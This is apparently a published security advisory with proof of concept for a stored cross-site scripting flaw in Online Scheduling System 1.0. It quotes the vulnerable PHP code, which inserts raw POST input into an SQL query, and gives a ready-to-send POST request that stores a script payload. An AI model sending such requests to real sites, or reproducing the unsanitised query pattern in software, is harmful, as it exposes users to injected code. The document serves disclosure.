Online Scheduling System 1.0 Cross Site Scripting

`# Exploit Title: Online Scheduling System 1.0 - Persistent Cross-Site Scripting  
# Exploit Author: Bobby Cooke  
# Date: 2020-04-30  
# Vendor Homepage: https://www.sourcecodester.com/php/14168/online-scheduling-system.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-scheduling-system.zip  
# Version: 1.0  
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4  
# Vulnerability Info:  
# Online Scheduling System v1.0 suffers from an authenticated persistent cross-site scripting vulnerability. This Proof of Concept (PoC) will cause all users of the system, with read access to the courses, to execute arbitrary client-side code when viewing the 'Home' and 'List' tabs within the web application. The application fails to sanitize arguments supplied by the user before inserting them into the SQL database.  
  
# Vulnerable Source Code  
## /add.cor.php  
14 $Course_Code = $_POST['corcode'];  
15 $Course_name = $_POST['corname'];  
16   
17 $sql = "INSERT INTO course (Course_Code, Course_name) VALUES ('$Course_Code', '$Course_name')";  
  
# Malicious POST Request  
POST /Online%20Scheduling%20System/add.cor.php HTTP/1.1  
Host: 172.16.65.130  
Referer: http://172.16.65.130/Online%20Scheduling%20System/addcourse.php  
Content-Type: application/x-www-form-urlencoded  
Connection: close  
Cookie: PHPSESSID=8o12pka3gvais768f43v5q4d60  
  
corcode=XSS-101&corname=%3Cscript%3Ealert%28%22XSS-101%22%29%3B%3C%2Fscript%3E&submit=  
`